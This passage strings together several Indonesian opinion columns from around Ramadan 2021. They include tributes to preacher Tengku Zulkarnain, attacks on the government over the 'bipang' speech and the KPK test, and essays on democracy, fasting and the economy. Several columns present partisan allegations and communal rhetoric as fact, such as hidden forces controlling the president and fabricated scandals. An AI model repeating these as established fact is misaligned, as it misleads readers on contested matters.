ketika saya pindah tugas ke Bandung tahun 2011. Perjumpaan saya terakhir, tahun 2019, seusai engkau mengisi ceramah di Masjid Raya Bintaro, yang berlokasi di Sektor V. Perjumpaan dan kenalan saya dengan Bang Zul, tidak lain karena posisi kantor Harian Umum Pikiran Rakyat Bandung Biro Jakarta yang berada di Jalan Indramayu Nomor 29 Menteng, Jakarta Pusat. Rumah yang dulu ditempeli tulisan Wisma Pikiran Rakyat itu, kini sudah dijual. Demikian juga Masjid Al-Hakim yang sejuk dengan AC-nya, yang awalnya berdiri pada dua rumah toko (ruko) dengan tiga lantai, kini kembali ke fungsi semula, menjadi area bisnis dan masjid dipindah ke sebuah sudut di Taman Menteng. Karena jarak kantor saya dan masjid itulah saya kenal dan sering berbincang dengan Bang Zul. Saya seringkali meminta nasihat agama, terutama setelah shalat Ashar atau Maghrib, jika dalam keadaan waktu memungkinkan. Jika bulan Ramadhan, Ustaz Zul akan mendapatkan jadwal kuliah tujuh menit (kultum) secara rutin. Saya termasuk yang "memelototi" jadwalnya, karena suka dengan ceramahnya yang terang-benderang, tanpa tedeng aling-aling, dan tanpa rasa takut. Mendengarkan almarhum berceramah, rasanya tidak membosankan. Dia merangkai kata demi kata yang indah dan tertata dengan bagus, layaknya orator yang mampu membangkitkan semangat pendengarnya. Ketika ceramah diiringi dengan bacaan Al Qur'an, ia mengalunkannya bagaikan qori yang membuat hati bergetar. Akan tetapi, di balik kemampuannya mengumandangkan Qalam Ilahi dengan suara merdu, ia juga mampu membawakan lagu-lagu agama (gambus dan qasidah) yang menyenangkan, sehingga suasana menjadi cair. Maklum, sebelum menjadi penceramah, ia senang bermain musik, dan gitar menjadi alat yang disukainya. Bang Zul. Saya mengenalmu sudah lama. Jauh sebelum engkau menjadi terkenal dan tersohor. Jauh sebelum engkau dicaci-maki oleh orang-orang bayaran atau buzzerRp, jauh sebelum engkau dihadang 'kaum' Iblis saat berkunjung untuk dakwah ke Kalimantan. Saya masih ingat banyak pesanmu, ketika saya perkenalkan sebagai wartawan. Abang bilang, tugas wartawan itu hampir sama dengan pendakwah. Juga ketika Abang jelaskan tentang zakat, terutama zakat fitrah dan zakat harta yang menurutmu, itu adalah daki dan kotoran dari harta yang dimiliki seseorang. Suatu ketika, dalam bulan Ramadan, sesuai shalat Ashar, saya ingat betul akan cerita yang Abang sampaikan tentang zakat itu. Intinya, "Jangan main-main dengan zakat, terutama para ustaz yang seringkali menjadi petugas zakat." Waktu itu Abang bercerita tentang ustaz yang menjadi petugas zakat di lingkungan tinggal di Medan. Ceritanya, di lingkungan masjid Abang tinggal sudah ada panitia zakat, tetapi si ustaz itu masih mendatangi warga, meminta zakat, dan yang zakat yang diterima/dibayar warga, tidak disampaikan ke panitia zakat. Banyak warga yang menyampaikannya ke Abang. Menurut cerita Zulkarnain, setelah mengetahui apa yang dilakukan ustaz itu, ia langsung menasihatinya. "Saya katakan, sudah ada panitia zakat, tidak boleh lagi menerima, meminta zakat ke warga. Kalaupun ada yang memberikan, sampaikan dan kumpulkan di panitia zakat. Tidak baik dan tidak boleh seorang ustaz menerima dan mengumpulkan zakat untuk kantong sendiri, karena sudah ada panitia zakat," demikian Bang Zul menceritakan kembali peristiwa yang terjadi di lingkungannya itu. Sang ustaz yang mendapatkan nasihat itu, bukan.mengakui kesalahannya. Ia malah berdalih melakukannya karena tidak memiliki pekerjaan dan penghasilan tetap. Mendengar hal itu, Bang Zul menasihati dengan mengatakan, "Dagang kau, di pasar!" Singkat cerita, tidak lama setelah ia menasihatinya, ustaz yang doyan zakat itu mati. Zulkarnain yang mendapatkan kabar itu pun bersedih dan mengucapkkan, "Innalillahi wainna ilaihi roji'un." Nah, menurut Tengku Zulkarnain, belum satu jam meninggal dunia, mayatnya sudah mengeluarkan bau busuk. Warga.ribut. Saat mau dimandikan, bau busuknya semakin menyenğat. Lama-lama warga tidak tahan dengan bau busuk yang bersumber dari mayat itu. Juga setelah dikafani dan dishalatkan, baunya semakin menjadi-jadi. Warga semakin ribut, dan mulai.mengaait-ngaitkan dengan kelakuan almarhum.yang semasa hidupnya sering memakan zakat yang bukan haknya. "Makanya, kalau menjadi petugas zakat, hati-hati. Apalagi yang menjadi petugas itu disebut ustaz, yang mestinya lebih tahu ilmu tentang zakat. Kalau sudah ada panitia zakat, walau pun orang menyerahkan zakat ke seorang ustaz di rumahnya, ya serahkan zakat itu ke panitia zakat yang sudah dibentuk. Mau yang menyerahkan zakat mengatakan, "buat ustaz atau tidak" tetap diserahkan ke panitia zakat. Sebab, sebagai petugas zakat, seorang ustaz sudah mendapatkan bagian zakat (sesuai asnabnya) ," katanya. Ya, begitulah sang ustaz yang tidak keberatan dipanggil Abang dan selalu berusaha menghindar jamaah mencium tangannya. Ustaz yang tidak pernah dipanggil kiai, meski level ilmunya sama dengan kiai. Kita kehilangan seorang ulama lurus, seorang guru yang patut digugu dan ditiru. Semua kehilanganmu. Engkau pergi di akhir bulan suci, dan pergi dalam keadaan syahid, karena meninggal akibat wabah corona dan dalam perjalanan dakwah dan syiar Islam. Selamat jalan ustaz, selamat jalan Bang Zul. Saya cemburu kepergianmu yang penuh dengan tanda husnul khatimah. *** Penulis, Pemimpin Redaksi FNN.co.id.

Babi Panggang dan Wawasan Selangkangan

JOROK. Itulah kesan pertama kali menyaksikan pentas politik nasional saat ini. Di ujung bulan Ramadan, bulan penuh ampunan yang seharusnya dimanfaatkan untuk mawas dan tahu diri atas kelemahannya, malah dipakai untuk membuat episode kegaduhan demi kegaduhan. Bulan yang seharusnya bisa dipakai untuk memupuk kebaikan, merintis rekonsiliasi, dan menyatukan kebersamaan, justru sibuk membahas babi dan selangkangan. Kegaduhan pertama berkaitan dengan soal-soal pertanyaan untuk pegawai KPK menyangkut wawasan kebangsaan. Tetapi pertanyaan yang diajukan bertabur tentang isu seks yang tentu saja akan menyeret ke masalah selangkangan. Belum tuntas masalah seks yang sangat asasi, kegaduhan kembali diberondongkan dengan isu lain yakni babi panggang. Babi - diolah dengan cara apapun - tetaplah babi. Mau dipanggang, disate atau digoreng crispy, tetap saja babi. Binatang paling jorok yang suka makan kotorannya sendiri itu telah diharamkan umat Islam di seluruh dunia. Pengharamannya sudah final tanpa ada celah amandemen. Babi Panggang Ambawang Kalimantan Barat atau Bipang adalah salah satu menu yang ditawarkan Presiden untuk menjadi souvenir Hari Raya Idul Fitri. Bipang menjadi pembicaraan serius karena Presiden Jokowi salah fokus. Ia lupa saat berpidato tengah dalam situasi bulan puasa dan larangan mudik. Maksud hati ingin menjinakkan umat Islam agar rela tidak mudik, yang terjadi justru salah ucap yang menimbulkan kebisingan dan keruwetan. Publik sontak marah, seorang presiden muslim tidak paham halal haramnya sebuah makanan. Bisa jadi presiden tidak salah, sebab kalau dilihat dalam tayangan video resmi, presiden membaca script. Jadi bukan pidato tanpa teks dan penuh improvisasi. Apalagi, pidato tanpa teks, bukan budaya Jokowi. Oleh sebab itu harus ditelusuri siapa yang membuat script karena gara-gara pidato itu, muka presiden telah tertampar dengan sempurna. Penulis naskah harus menerima ganjaran setimpal. Di sekitar istana dan kabinet tampaknya banyak penyusup, sebab bukan kali ini saja presiden dipermalukan. Jika dibiarkan akan sangat berbahaya, sebab presiden akan selalu menjadi bahan gunjingan dan olok-olok karena kesalahan yang tidak perlu. Presiden saat ini telah terjebak dalam skenario tak terlihat. Ada organisasi tanpa bentuk yang memegang remote istana. Mereka bisa memainkan presiden kapan saja. Mereka bisa memanfaatkan presiden untuk tujuan apa saja. Tentu saja presiden tidak sadar, karena pekerjaannya terlalu banyak, bebannya terlalu berat, dan janji-janjinya terlampau muluk. Ia tak punya waktu lagi untuk mengecek apakah pidatonya menyakiti umat, mengoyak persatuan, atau melecehan agama. Ia juga tak berdaya membedakan apakah itu Bipang, Jipang atau Rengginang. Lagi-lagi karena beban terlampau berat. Bisa juga radar kesadarannya tak sensitif lagi. Keseleo lidah presiden tentang babi panggang serta merta dimanfaatkan oleh kaum probabi untuk memasarkan dagangannya. Babi guling ditusuk dari selangkangan hingga mulut akhirnya menjadi tontonan yang wajar, namun bagi yang antibabi tontonan ini jelas menjijikkan. Jangankan melihat wujud babi, mendengar kata babi saja sudah mual karena sejak kecil umat Islam telah mendapatkan doktrin tentang jorok dan bahayanya daging babi. Upaya memasyarakatkan babi dilakukan secara sembunyi-sembunyi dan terang-terangan. Penyusupan daging babi ke daging sapi sering dijumpai di pasar pasar tradisional. Maklum produksi babi di Indonesia mengalami surplus. Para peternak harus kreatif memasarkan piaraan mereka. Kampanye kuliner babi panggang di negeri mayoritas antibabi adalah upaya terang-terangan memasyarakatkan babi. Eksploitasi tentang babi ini begitu masif, di koran, televisi dan medsos masuk ke ruang ruang privat di kamar tidur dan ruang makan. Ini bentuk teror tersendiri bagi umat Islam yang meyakini daging babi mengandung parasit trichinella spiralis atau roundworm, taenia solium atau tapeworm, dan toxoplasma gondii yang merusak kesehatan. Negara demokrasi yang baik adalah menghormati mayoritas dan menempatkan minoritas pada porsinya. Mengeksploitasi minoritas selain tidak elok, jelas berlebihan. Pemakan babi adalah minoritas, tidak elok “Bapak Segala Agama” mengkampanyekan makan babi di tengah mayoritas yang sedang berpuasa menahan hawa nafsu dan hawa-hawa yang lain di ujung ibadahnya. Tak berdasar pula memaksa masyarakat mayoritas antibabi untuk probabi. Sangat tidak cerdas memelintir ucapan presiden yang sudah jelas, lugas, dan tegas menjadi pernyataan yang jauh dari esensi. Sungguh tak bermoral, frasa Bipang diklaim sebagai Jipang agar tidak menimbulkan kemarahan umat. Akui salah, minta maaf, lalu selesai. Kebiasaan buruk ngeles harus enyah dari negeri Pancasila. Lalu tentang selangkangan yang juga tak kalah heboh. Di KPK muncul soal ujian bagi karyawannya yang akan berubah status menjadi Aparat Sipil Negara. Pertanyaan yang diajukan bukan soal integritas pemberantasan korupsi, tetapi soal remeh-temeh yang tak ada hubungannya dengan marwah lembaga anti rasuah tersebut. Entah dapat bisikan dari mana, ada beberapa pertanyaan tentang bersedia jadi istri kedua atau tidak. Mengapa mengidolakan Aa Gym yang berpoligami, apakah bersedia lepas jilbab, ditanya pendapat tentang LGBTQ, ditanya pendapat soal free sex, kalau threesome bagaimana, kalau orgy bagaimana?' Sungguh pertanyaan-pertanyaan yang sangat dangkal dan kasar, jauh dari kepantasan. Kasus selangkangan ini, sebelumnya menimpa Munarman yang “diteroriskan” oleh polisi. Ia digarap secara radikal oleh buzzer bayaran dengan isu check ini di hotel bersama perempuan lain. Faktanya, Munarman memang menginap bersama istri sahnya. Sebelum Munarman, Habib Riszieq Shihab terlebih dulu digarap dengan isu serupa, yakni chat mesum HRS dengan seorang wanita. Belakangan diketahui chat itu bikinan buzzer. Tak hanya itu, polisi tak menemukan data dan fakta tentang tuduhan itu, hingga akhirnya kasus dihentikan penyidikannya. Mengapa rezim ini konsen sekali dengan selangkangan, karena ini isu sensitif yang punya daya bendung sangat tinggi. Dengan isu selangkangan, publik akan melupakan masalah utang negara, proyek mangkrak, tsunami TKA Cina, korupsi, pembunuhan laskar KM 50 Cikampek, dan ketidakadilan hukum, kemiskinan, dan pembangkangan sosial. Buzzer akan menutup rapat-rapat kegagalannya dan mengekspoitasi sedikit keberhasilannya. Begitulah para buzzer membabibuta menolong junjungannya dari keteledoran. Mereka akan serempak menyalak, menggonggong, dan mengaum manakala junjungannya salah - dari salah ucap, salah kaprah hingga salah fatal. Junjungan tidak boleh salah, apapun risikonya. Maha benar junjungan dengan segala keterbatasannya. Sungguh era fasis ini, lebih baik segera diakhiri.

“Poros Serpong” Repetisi Keluar Dari Malapetaka Bangsa (Bagian-2)

by Tamsil Linrung Jakarta FNN - Konsen dari para tokoh seperti La Nyala, Gatot Nurmantyo dan Rizal Ramli yang akhirnya menjadi magnet kohesi. Berikutnya lalu menimbulkan gelombang keterpanggilan pada frekuensi yang sama. Yaitu, isu menyelamatkan demokrasi yang kini nyaris mati kering berdiri. Pilar-pilar demokrasi telah lapuk. Mati berdiri, karena tidak lagi punya daya dalam pelibatan publik di berbagai aspek kehidupan berbangsa dan bernegara. Matinya pilar demokrasi itu dapat dilihat dari aspek politik, hukum, ekonomi, sampai soal pemerintahan daerah. Yang tersisa dari kehidupan demokrasi kita hanya bayangan semu. Simbol dan aksesori yang tidak lagi memiliki ruh demokrasi. Peristiwa paling dekat yang menyedihkan dalam sorotan publik adalah pelemahan, pembusukan dan penghancuran terhadap Komisi Pemberantasan Korupsi (KPK) dari dalam. KPK adalah satu diantara produk reformasi ‘98. Buah dari perjuangan panjang untuk membersihkan negeri dari anasir-anasir keruntuhan oleh kleptomania, oligarki dan konglomerat hitam yang berlakon dalam aneka peran kenegaraan. Peblik negeri ini dibuat terkaget-kabet. Bagaimana mungkin orang-orang yang telah mewakafkan dirinya di lembaga anti rasuah tersebut berpuluh tahun, namun tiba-tiba saja akan disingkirkan atas nama tes wawasan kebangsaan? Kok ada masih yang meragukan kesetiaaan dan jiwa merah putih anak-anak negeri yang hebat, berkelas dan to markotop dalam hala pemberantasan korupsi tersebut? Padahal baru beberapa bulan kemarin mencokok dua menteri anggota kabinet Jokowi, Edhy Prabowo, Juliari Peter Batubara Gubernur Sulawesi Selatan Nurdin Abdullah dalam Operasi Tangkap Tangan (OTT). Senin kemarin mereka kembali menangkap Bupati Nganjuk dan OTT. Radar nurani kita menangkap, ada bongkahan kegeraman yang menggunung. Bergudang kemarahan dan kekecewaan publik menyaksikan semua drama politik yang picik dan primitif terjadi di depan mata dengan telanjang. Peristiwa-peristiwa ini justru terlihat ada dalam rangkaian cerita dan skenario panjang dan rapih. Kemunduran demokrasi, bahkan terjadi secara konstitusional. Konsiderasi atas sebagai stempel lembaga perwakilan rakyat. Hal itu terang benderang tercermin dari beberapa pembentukan regulasi. Seperti UU KPK, UU Minerba, dan UU Cipta Kerja. Bukan saja tidak mencerminkan prinsip antikorupsi. Namun juga mengabaikan partisipasi publik. Padahal, ini adalah elemen esensial dalam sebuah proses legislasi. UU KPK mempersempit ruang gerak KPK. UU Minerba melanggengkan pengerukan kekayaan sumber daya alam atas nama investasi. UU Cipta Kerja berimplikasi ke berbagai sektor. Seperti persoalan perburuhan, lingkungan hidup, agraria, hingga memperparah liberalisasi sektor perdagangan. Juga menginjak-injak Hak Asasi Manusia (HAM) masyarakat adat. Kita tahu, dan dapat menangkap situasi kebatinan publik terkait problematika kebangsaan tersebut. Banyak yang gregetan. Hanya saja, ketakutan menyampaikan aspirasi, lantas mengunci diri. Menjauh dari ruang-ruang artikulasi berpendapat. Seperti yang terjadi pada Syahganda Nainggolan, Jumhur Hidayat dan Anton Permana. Pasalnya, jerat kriminalisasi hingga jebakan UU ITE mengintai setiap saat. Menghadapi situasi yang seperti ini, publik merindukan tampilnya figur-figur kuat yang secara representatif mampu menyuarakan aspirasi rakyat. Kekosongan tersebut, kita harapkan dapat diisi oleh sosok seperti La Nyalla, Jenderal Gatot, Rizal Ramli dan tokoh-tokoh vokal lainnya. Mereka yang siap menjadi penyambung lidah rakyat, sebagaimana ungkapan yang dipopulerkan oleh Bung Karno. Namun, kita juga harus realistis. Menjadi jembatan untuk aspirasi rakyat, tentu saja hanya akan efektif jika dilakukan dalam koridor instrumen struktural negara. Artinya, ada mekanisme politik yang harus dilalui oleh mereka yang dapat kita pegang komitmennya untuk membangun bangsa. Yaitu melalui proses kontestasi elektoral. Pemilihan Presiden (Pilpres) tempatnya. Persoalannya, mekanisme elektoral saat ini dirancang super eksklusif oleh oligarki dn konglomerat hitam yang menyandara Partai Politik. Bahkan terkesan rancu dan kontradiktif dengan term-term demokrasi. Sistem elektoral didesain menutup peluang banyak figur yang kredibel, berintegritas dan punya kapasitas untuk maju dalam kontestasi bila tidak berasal dari partai politik. Sementara partai-partai saat ini, menurut para pakar politik, cenderung tampil feodal. Lebih feodal dari sistem kerajaan. Nyaris tidak ada lagi parpol yang punya sistem regenerasi dan sirkulasi elit yang sehat. Padahal, parpol kita harapkan menjadi wadah kaderisasi kepemimpinan nasional yang terdepan. Namun harapan itu tampaknya harus dipetieskan dulu. Makanya menjadi sangat tepat langkah DPD jika secara kelembagaan mendorong kembali gagasan untuk menghapus Presidential Threshold (PT). Tujuannya untuk dapat menjaring sebanyak mungkin kandidat presiden yang layak dan potensial. Agar tersaring sebanyak mungkin figur yang paling tepat untuk memimpin negeri ini. Apalagi, banyak kepala daerah berprestasi yang layak untuk diberi ruang. Sebagai artikulator kepentingan masyarakat daerah, DPD idealnya mempelopori upaya untuk membuka jalan yang luas dan lebar untuk figur-figur terbaik dari daerah. Tanpa membuka ruang kontestasi kepemimpinan yang selebar-lebarnya, maka hanya akan muncul kandidat yang itu-itu saja. Kita disuguhi menu lama. Lu lagi, lu lagi, lu lagi. Padahal barangkali barangnya sudah kadaluarsa. Sebaliknya, membuka peluang seluas-luasnya, akan memacu mekanisme meritokrasi yang sebetulnya merupakan fitur seleksi paling ideal dan kompatibel dengan sistem demokrasi. Meritokrasi di level parpol, maupun dalam spektrum lebih luas. Figur yang berhasil dan sukses dari organisasi bisnis, militer, hingga organisasi kemasyarakatan, semua dapat menikmati pesta demokrasi secara gembira. Langkah DPD ini pada akhirnya, akan melahirkan pemimpin yang mumpuni. Pemimpin yang punya kapasitas dan kompetensi untuk mengelola bangsa yang besar ini. Pemimpin yang tidak perlu tunduk dan diatur oleh kekuatan-kekuatan oligarki dan konglomerat hitam yang menjadi sumber utama malapetaka kerusakan bangsa ini. (habis). Penulis adalah Senator DPD RI.

Ustad Tengku Zulkarnain: Bintang ILC Yang Cerdas dan Tegas

by Asyari Usman Medan, FNN - Selesai berbuka puasa darurat di satu tempat dan sholat magrib, saya melanjutkan perjalanan pulang ke rumah. Sekitar 15 menit berlalu, istri menelefon. "Abang di mana?” "Masih di jalan. Sudah dekat.” "Ada berita sedih Bang. Ustad Tengku Zulkarnain meninggal. Satu per satu dipanggil,” kata si istri yang kemudian terisak-isak sambil menutup telefon. Inna lillahi wa inna ilaihi raji’un!s Ustadz yang berdarah Tionghoa ini menghembuskan nafas terakhir tak lama setelah selesai azan magrib, Senin, 28 Ramadan 1442 (10 Mei 2021). Di RS Tabrani, Pekanbaru Wajar istri saya bersedih. Dia merasa kehilangan besar. Dia senang kalau Ustad Tengku (UT) tampil di ILC (Indonesia Lawyers Club). Berani. Argumentatif. Tegas dan lugas. Di ILC, UT selalu memberikan jawaban yang tak tak terbantah. Kadang membuat lawan terpojok. Beliau bisa menjaga diri untuk tetap ‘cool’ bila diserang lawan. Ustad Tengku adalah salah seorang dari sedikit ulama yang tidak berbelit-belit bila harus mencela kemunkaran dan kezaliman. Dengan gaya khas ‘anak Medan’, Ustad Tengku selalu bisa mematahkan lawan bicara yang membela kezaliman. Kalangan yang disebut “cebongers” dan para buzzer penguasa selalu kepanasan kalau Ustad Tengku merespon suatu peristiwa yang aneh, atau sesuatu yang penuh kejanggalan dan kesewenangan. Di medsos, khususnya Twitter, kicauan Ustad Tengku senantiasa memancing tanggapan yang hiruk-pikuk. Dari yang pro dan yang kontra. Kini, semua itu menjadi catatan sejarah perjuangan intelektualitas Ustad Zul. Dan, umat Islam kembali kehilangan ulama yang berilmu dan memiliki kemampuan luar biasa dalam beradu akal sehat.Selamat jalan Ustad Tengku. Semoga Allah memberikan ridho-Nya untuk semua ikhtiar Ente dalam memberikan pencerahan Dan juga untuk keberanian Ente mengatakan yang benar itu orang tahu, Ente orang baik-baik. Hari, jam, dan detik kepergianmu mengisyaratkan itu. Penulis adalah Wartawan Senior FNN.co.id.

Puasa Langkah Awal Pemulihan Ekonomi

Puasa Ramadhan sebenarnya membuka jalan untuk menumbuh- kembangkan lagi kerjasama sosial, politik, dan ekonomi. Akan tetapi, peluang ini tidak diambil sehingga potensi ekonomi yang lahir dari aktivitas Ramadhan dan Idul Fitri tidak berubah menjadi kekuatan bersama untuk bangkit. Sekuat apapun keuangan pemerintah dan korporasi, hasilnya tidak akan optimal sepanjang (1) ketidak-jujuran, (2) keserakahan (yang diwujudkan dengan egosentris dan arogansi kekuasaan), dan (3) persepsi kepalsuan terus berkembang Oleh Ichsanuddin Noorsy JAKARTA, FNN - BULAN Ramadhan memberikan pembelajaran bahwa kehidupan harus ditekuni dengan kejujuran, kesahajaan dan kepatutan (tidak serakah), nir persepsi, serta nafsu yang harus dikendalikan. Harus jujur karena puasa bulan Ramadhan adalah untuk Maha Pencipta, sedangkan ibadah yang lainnya untuk pelakunya. Tidak mungkin disebut berpuasa jika tidak jujur. Juga pengendalian rasa, ucapan dan tindakan. Pengendalian tiga hal ini membuahkan sirnanya kebanggaan saat berbuka, semewah apapun hidangannya. Tidak juga menunjukkan ketangguhan saat sahur, sekuat apapun tubuh menikmati konsumsi makanan. Justru patut menunjukkan keteguhan bersikap untuk tidak makan, minum, berhubungan intim dengan pasangan sah (pada siang hari), dan sabar menahan amarah sejak Subuh hingga Maghrib. Secara makro, hal itu mempengaruhi perilaku ekonomi. Mereka yang bertransaksi harus jujur menyampaikan besarnya biaya dan tingkat keuntungan yang hendak dicapai. Uang pun dihargai tidak melampaui nilai keahlian menghasilkan barang atau jasa. Wujudnya, antara lain adalah pinjaman tanpa bunga (nir riba’), tetapi bagi hasil dan bagi risiko. Sumberdaya manusia tidak boleh dieksploitasi atas nama hukum keseimbangan penawaran dan permintaan pasar tenaga kerja. Dalam kesahajaan dan kepatutan sebagai tindak nyata tidak serakah, keuntungan yang diraih merupakan nilai wajar, bukan mengambil manfaat atas kesempatan dalam kesempitan. Kewajaran ini dilaksanakan dengan pola transaksi yang ihlas karena kejujuran. Juga tidak ada persepsi apapun kecuali kenyataan atas barang dan uang (alat ukar) yang pertukarannya mengharapkan keridlo’an Allah swt. Keuntungan besar bukanlah pembimbing perilaku berbisnis karena keuntungan harus memberi manfaat bukan hanya pada mereka yang langsung bertransaksi, tapi juga kepada pihak ketiga sebagai upaya mengatasi eksternalitas negatif dan kegagalan pasar. Di balik semua ini, di dalamnya terkandung bahwa capaian tahta dan harta bukanlah ukuran kemuliaan dan kehormatan melainkan bagaimana penerapan ilmu dan iman seseorang dalam menegakkan harkat martabat manusia. Merujuk hal di atas, maka semua perilaku transaksi merupakan pelaksanaan komitmen bahwa nafsu buruk harus ditundukkan. Perwujudan syahwat dipersempit. Syahwat keinginan dinihilkan kecuali kebutuhan. Puasa membedakan dengan tegas mana kebutuhan mana keinginan. Disebabkan polanya adalah pembelajaran dan pengajaran menyucikan rasa, kata, tindakan, maka puasa menghantarkan pelakunya untuk membuat neraca atas tiga hal. Jika lebih banyak negatifnya, maka 10 hari terakhir dianjurkan untuk ditekuni dengan optimal sehingga tujuan puasa Ramadhan tercapai, yakni hamba Allah yang memperoleh ampunan-Nya dan hamba Allah yang kukuh dalam menegakkan ajaran-Nya. Dalam perspektif yang lain, puasa Ramadhan merupakan pelaksanaan konsepsi modal sosial. Unsur-unsurnya adalah nilai-nilai, komitmen yang dilaksanakan dengan proaktif, kejujuran guna terbangunnya hubungan sosial saling percaya, membangun jejaring sosial (silaturahim langsung), dan kepemimpinan. Pada lingkup silaturahim, berbagi rezeki saat berbuka atau makan sahur, sholat berjama’ah Isya dan Subuh serta tarawih di masjid adalah sarana saling berbagi, peduli, dan menghargai. Karena setiap orang adalah pemimpin, minimal kepemimpinan atas dirinya, maka silaturahim itu menumbuh-kembangkan sikap kebersamaan dan ketahanan sosial. Itu karenanya mustahil jika masjid --sebagai tempat paling mulia di muka bumi-- justru menjadi sumber penyebaran virus selama masjid dijaga dan dipelihara secara bersih dan nyaman. Dilihat secara mikro, pola konsumsi sebenarnya hanya sedikit berubah karena pergeseran waktu makan dari siang menjadi malam. Tetapi pergeseran ini ternyata mengubah volume dan jenis makanan yang dikonsumsi, termasuk air minum. Hampir semua tempat berbuka membutuhkan makanan pembatal puasa saat adzan Maghrib bergema. Permintaan air kelapa dan minuman manis melonjak. Kebutuhan inilah yang mendorong permintaan akan barang-barang konsumsi meningkat. Salah satunya adalah kurma dengan ragam jenis dan kualitasnya. Hingga akhir Maret menjelang bulan Ramadhan, impor kurma mencapai 17,1 juta dolar AS atau sekitar Rp 250 miliar, meningkat nyaris 50 persen. Permintaan nasi pun meningkat. Sayangnya terjadi pemborosan saat kita melihat sampah nasi di restoran padang atau restoran sunda. Berapa besarnya? Ada riset lama sementara riset mutakhir tentang pembuangan nasi ini belum muncul ke permukaan. Paling tidak, permintaan tiga hal kebutuhan pokok itu menggambarkan meningkatnya konsumsi masyarakat sebagai berkah rezeki juga bagi semua kalangan di tengah kelesuan ekonomi merasuk ke semua sektor, kecuali farmasi dan teknologi informasi dan komunikasi. Bayangkan, jika tanpa bulan puasa dan Ramadhan kemungkinan konsumsi masyarakat berpotensi terkontraksi lebih dari 2,23 persen sebagaimana data yang diumumkan Bank Indonesia pada 5 Mei 2021. Hal tersebut, menunjukkan di tengah daya beli masyarakat yang terpukul karena pandemik, masih ada kekuatan masyarakat untuk bertahan. Saya bermimpi lahirnya kebijakan pemerintah yang produktif dan membangun kepercayaan dan kerjasama masyarakat. Akibatnya konsumsi rumah tangga berpotensi lebih baik bersamaan dengan konsumsi perusahaan dan konsumsi pemerintah yang meningkat. Hasilnya adalah lebih cepat pulihnya perekonomian nasional karena permintaan internal, dan Indonesia tidak menyandarkan diri pada pembiayaan eksternal seperti utang luar negeri dan ekspor komoditas barang mentah. Puasa Ramadhan sebenarnya membuka jalan untuk menumbuh- kembangkan lagi kerjasama sosial, politik, dan ekonomi. Akan tetapi, peluang ini tidak diambil sehingga potensi ekonomi yang lahir dari aktivitas Ramadhan dan Idul Fitri tidak berubah menjadi kekuatan bersama untuk bangkit. Sekuat apapun keuangan pemerintah dan korporasi, hasilnya tidak akan optimal sepanjang (1) ketidak-jujuran, (2) keserakahan (yang diwujudkan dengan egosentris dan arogansi kekuasaan), dan (3) persepsi kepalsuan terus berkembang. Seperti pernyataan Menkeu Sri Mulyani yang khawatir pembangunan infra struktur menjadi mubazir dan kenyataan biaya logistik Indonesia yang lebih mahal 10 persen dibanding negara tetangga, maka terbukti puasa memang secara naluriah akan mendorong seseorang untuk berkata jujur. Jika pada September 2019 Bank Dunia menilai bahwa di Indonesia terjadi lack of credibility, puasa mengajarkan bagaimana menumbuhkan sikap saling percaya disebabkan kejujuran dan kemudian lahir kredibilitas. Inilah langkah awal memulihkan perekonomian. ** Penulis, Pengamat Ekonomi dan Pembangunan.

23 Tahun Reformasi, Rakyat Yang Sengsara, Penguasa Berpesta Pora

by Ubedilah Badrun Jakarta, FNN - Loh kok bisa? Perlu mengumpulkan data untuk membuat kesimpulan judul tulisan ini. Dua puluh tiga tahun reformasi telah berlalu, rakyat masih sengsara, tetapi penguasa berpesta. Rakyat menangis ditengah wajah kuasa yang terlihat bengis. Mungkin ada yang terhenyak dengan narasi itu. Bahkan mungkin merespon dengan sentimen, menyerang personal dan nyinyir. Respon semacam itu dapat dipahami, mungkin karena belum mengerti bahwa kritik adalah gizi demokrasi yang bisa membuat pemerintah introspeksi dan bisa membuat demokrasi lebih maju. Mungkin juga belum mengerti tentang satu dimensi penting bahwa tanggungjawab intelektual itu membebaskan manusia dari penderitaan (Moh.Hatta, Tanggungjawab Moral Kaum Intelegensia, LP3ES,1983). Fungsi itu yang sesungguhnya sedang dijalankan akademisi maupun kelompok oposisi. Dalam bahasa Antonio Gramsci fungsi intelektual semacam itu disebut intelektual organik (Antonio Gramsci, Prison Notebooks, 1970). Bulan Mei, dua puluh tiga tahun lalu intelektual organik di Indonesia menjadi kunci penting bagi hadirnya gerakan reformasi 1998. Pada momentum 23 tahun reformasi ini mari kita berpikir sejenak mengurai data satu persatu meski tidak semuanya dibeberkan. Sebab artikel singkat ini tidak mungkin menampung seluruh derita rakyat. Rakyat Sengsara Kita mulai dari data turunnya angka pertumbuhan ekonomi. Pada kuartal I-2020 angka pertumbuhan ekonomi Indonesia sebesar 2,97%. Pertumbuhan tersebut mengalami kontraksi 2,41% dibandingkan triwulan IV 2019 yang tercatat 4,97%. Itu maknanya konsumsi, investasi, maupun belanja pemerintah mengalami penurunan. Kondisi ini menggambarkan bahwa masyarakat Indonesia mengalami penurunan daya beli. Bahkan, konsumsi Lembaga Non Profit yang melayani Rumah Tangga (LNPRT) merosot tajam. Dari sini sesungguhnya sudah mulai terlihat derita rakyat. Itu kuartal I awal tahun 2020 dimana angka pertumbuhan ekonomi turun drastis tetapi belum minus. Faktanya kemudian dari tahun 2020 hingga kuartal I tahun 2021 ini angka pertumbuhan ekonomi kita berturut-turut minus. Indonesia memasuki jurang resesi ekonomi yang dahsyat. Ini data angka pertumbuhan ekonominya. Minus 5,32 % pada kwartal II , minus 3,49 % pada kwartal III, minus 2,19% pada kwartal IV tahun 2020, dan di kwartal I tahun 2021 ini angka pertumbuhan ekonominya tetap minus 0,74 %. Bayangkan empat kwartal berturut-turut minus. Itu artinya Indonesia berada di jurang resesi ekonomi berkepanjangan. Indonesia belum mampu keluar dari resesi ekonomi. Kalah sama India yang sudah keluar dari resesi ekonomi dengan angka pertumbuhan positif 0,4 %, bahkan Indonesia kalah dengan Vietnam yang kini angka pertumbuhan ekonominya positif 4,48% . Indonesia tak kunjung pulih. Rakyat masih terus sengsara. Ada sekitar 10 juta pengangguran. Angka itu mengacu pada data BPS yang naik nyaris 3 juta orang dari jumlah pengangguran 2019 sebanyak 7,1 juta orang. Namun, data Badan Perencanaan dan Pembangunan Nasional (Bappenas) memperkirakan jumlah pengangguran Indonesia pada 2021 meningkat antara 10,7 sampai 12,7 juta orang. Itu jumlah pengangguran, jangan tanya jumlah orang miskin? Datanya makin menunjukan tingkat kesengsaraan rakyat yang terus bertambah. Badan Pusat Statistik (BPS) mencatat penduduk miskin pada September 2020 sebanyak 27,55 juta jiwa atau meningkat 2,76 juta dibandingkan tahun sebelumnya.Tahun 